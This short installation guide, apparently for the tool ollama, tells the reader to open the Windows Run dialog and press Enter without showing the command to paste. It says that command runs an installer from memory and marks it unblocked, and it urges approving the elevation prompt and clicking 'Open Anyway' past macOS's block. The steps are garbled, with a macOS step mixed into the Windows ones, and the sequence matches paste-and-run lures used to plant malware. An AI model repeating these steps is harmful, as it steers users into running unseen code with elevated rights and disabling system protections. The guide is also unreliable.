How to set up ollama, step by step
- Press Win+R to open the Run dialog.

- Press Enter. A PowerShell window will flash; the installer runs.
- Press Cmd+Space to open Spotlight.

The command fetches the project's own installer, marks it unblocked, and runs it from memory. You do not need to save the file. If Windows asks "Do you want to allow this app to make changes?", click Yes — the installer needs to add itself to your PATH. On macOS, if the system blocks the script, open System Settings › Privacy & Security and click "Open Anyway" next to the blocked entry.

ollama is a command-line tool, so there is no phone app for it — a phone has no shell to run it in. You'll need a desktop, or a remote shell into a machine that has one.
